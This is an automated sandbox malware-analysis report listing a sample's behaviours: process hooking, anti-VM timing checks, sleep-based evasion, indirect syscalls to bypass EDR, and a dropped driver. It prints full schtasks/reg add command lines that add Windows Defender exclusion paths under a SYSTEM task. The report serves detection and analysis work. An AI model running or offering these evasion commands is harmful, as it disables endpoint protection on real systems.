Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 2500 base: 76F02F90 value: E9 7A D0 86 89
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 5416 base: 11C0005 value: E9 8B 2F D4 75
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 5416 base: 76F02F90 value: E9 7A D0 2B 8A
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Memory written: PID: 6280 base: 1110005 value: E9 8B 2F DF 75
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Memory written: PID: 6280 base: 76F02F90 value: E9 7A D0 20 8A
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 6692 base: 720005 value: E9 8B 2F 7E 76
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 6692 base: 76F02F90 value: E9 7A D0 81 89
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 1888 base: E90005 value: E9 8B 2F 07 76
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 1888 base: 76F02F90 value: E9 7A D0 F8 89
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 512 base: AB0005 value: E9 8B 2F 45 76
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 512 base: 76F02F90 value: E9 7A D0 BA 89
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 1900 base: 740005 value: E9 8B 2F 7C 76
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 1900 base: 76F02F90 value: E9 7A D0 83 89

Source: C:\Users\user\Documents\77WmQZ.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C6EB056
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C6DA702
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C7182C1
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C722F48
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C7391B6
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C737912
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C5FFFCB
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 3671A77
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 31CA400
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 3294F7E
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 326E627
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 32A97BB
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 3327E1B
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 35D7AA6
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 3235D5F
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C61F34F
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C748092
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C6ECBDE
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF61EB4
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BEF183C
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE590FC
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BFC8092
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C632089
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C726565
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C5D8B19
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BEA87B1
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE58B19
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF45F8C
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BEB2089
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF0B056
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE13E38
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BDFA03F
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BDEF12B
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BD6DE34
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BEB8647
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF19F9E
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BDBBC04
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF0CBDE
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BDF90FC
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C5D90FC
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C6E1EB4
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C59BC04
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C5F3E38
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE9C0AF
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C706E74
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C5CF12B
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C698647
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BDFA03F
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BE3F34F
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BF01EB4
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BF0CBDE
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BE487B1
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BEE5F8C
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BEB8647
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	API/Special instruction interceptor: Address: 6BD6DE34
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF382C1
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE3F34F
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BEFA702
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C747C0E
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C54DE34
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE52089
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF46565
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF42F48
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE15143
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	API/Special instruction interceptor: Address: 6C67183C
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE5080B
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BE487B1
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BEE5F8C
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	API/Special instruction interceptor: Address: 6BF591B6

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe

Section loaded: OutputDebugStringW count: 1924

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	RDTSC instruction interceptor: First address: 140001139 second address: 140001150 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov ecx, eax 0x0000000c nop 0x0000000d nop 0x0000000e dec eax 0x0000000f xor edx, edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 fldpi 0x00000015 frndint 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	RDTSC instruction interceptor: First address: 140001150 second address: 140001150 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 xor ebx, ebx 0x00000009 dec eax 0x0000000a mov ebx, edx 0x0000000c dec eax 0x0000000d or eax, ebx 0x0000000f dec eax 0x00000010 sub eax, ecx 0x00000012 nop 0x00000013 dec ebp 0x00000014 xor edx, edx 0x00000016 dec esp 0x00000017 mov edx, eax 0x00000019 dec ebp 0x0000001a cmp edx, eax 0x0000001c jc 00007F65995911C0h 0x0000001e fldpi 0x00000020 frndint 0x00000022 rdtsc
Source: C:\Users\user\Documents\77WmQZ.exe	RDTSC instruction interceptor: First address: 67E025 second address: 67E033 instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 mov ecx, edx 0x00000005 dec ecx 0x00000006 shl ecx, 20h 0x00000009 dec esp 0x0000000a or ecx, eax 0x0000000c frndint 0x0000000e rdtsc

Source: C:\Users\user\Documents\77WmQZ.exe	Window / User API: threadDelayed 6176	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Window / User API: threadDelayed 3720	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Window / User API: threadDelayed 2465	Jump to behavior

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

Dropped PE file which has not been started: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_47-3225
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_42-3272
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_40-3257
Source: C:\Users\user\Documents\77WmQZ.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_4-14017

Source: C:\Users\user\Documents\77WmQZ.exe

API coverage: 2.7 %

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe TID: 5696	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe TID: 5216	Thread sleep count: 6176 > 30	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe TID: 5216	Thread sleep time: -12352000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe TID: 3752	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe TID: 3752	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe TID: 5216	Thread sleep count: 3720 > 30	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe TID: 5216	Thread sleep time: -7440000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe TID: 5328	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe TID: 5328	Thread sleep time: -1170000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe TID: 1816	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe TID: 2484	Thread sleep count: 2465 > 30	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe TID: 2484	Thread sleep time: -2465000s >= -30000s	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\77WmQZ.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_00007FFE1A52A1B8 FindFirstFileExW,

4_2_00007FFE1A52A1B8

Source: C:\Users\user\Documents\77WmQZ.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: 2834573-3676874985.02.exe, 00000000.00000003.2000516686.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, 2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000005.00000003.2396205751.000000000065E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Documents\77WmQZ.exe	API call chain: ExitProcess graph end node			graph_4-14018
Source: C:\Users\user\Documents\77WmQZ.exe	API call chain: ExitProcess graph end node			graph_4-14362

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_00000001400073E0 LdrLoadDll,

4_2_00000001400073E0

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_0000000140007C91

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_000000014000F000

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A0643 mov eax, dword ptr fs:[00000030h]	39_3_024A0643
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A0643 mov eax, dword ptr fs:[00000030h]	39_3_024A0643
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A00CD mov eax, dword ptr fs:[00000030h]	39_3_024A00CD
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A00CD mov eax, dword ptr fs:[00000030h]	39_3_024A00CD
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A0643 mov eax, dword ptr fs:[00000030h]	39_3_024A0643
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A0643 mov eax, dword ptr fs:[00000030h]	39_3_024A0643
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A00CD mov eax, dword ptr fs:[00000030h]	39_3_024A00CD
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 39_3_024A00CD mov eax, dword ptr fs:[00000030h]	39_3_024A00CD

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_0000000140004630 GetProcessHeap,HeapReAlloc,GetProcessHeap,HeapAlloc,

4_2_0000000140004630

Source: C:\Users\user\Documents\77WmQZ.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0000000140007C91
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00000001400106B0 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00000001400106B0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00000001400092E0 SetUnhandledExceptionFilter,	4_2_00000001400092E0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00007FFE1A5276E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFE1A5276E0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00007FFE1A521F50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FFE1A521F50
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00007FFE1A522630 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFE1A522630
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 40_2_00C310CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_00C310CC
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 40_2_00C32AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_00C32AE2
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 40_2_00C351FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00C351FB
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Code function: 42_2_00B02AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00B02AE2
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Code function: 42_2_00B010CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_00B010CC
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Code function: 42_2_00B051FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_00B051FB
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Code function: 47_2_00E32AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	47_2_00E32AE2
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Code function: 47_2_00E310CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	47_2_00E310CC
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Code function: 47_2_00E351FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_00E351FB

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\77WmQZ.exe	NtAllocateVirtualMemory: Indirect: 0x140006FD0	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	NtProtectVirtualMemory: Indirect: 0x2C2B253	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	NtProtectVirtualMemory: Indirect: 0x29AB253	Jump to behavior
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	NtDelayExecution: Indirect: 0x1CA0CF	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe "C:\Program Files (x86)\vtAIyr\vtAIyr.exe"	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Program Files (x86)\yKOHid\5fuoTf.exe "C:\Program Files (x86)\yKOHid\5fuoTf.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\programdata\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\users\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\program files (x86)\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
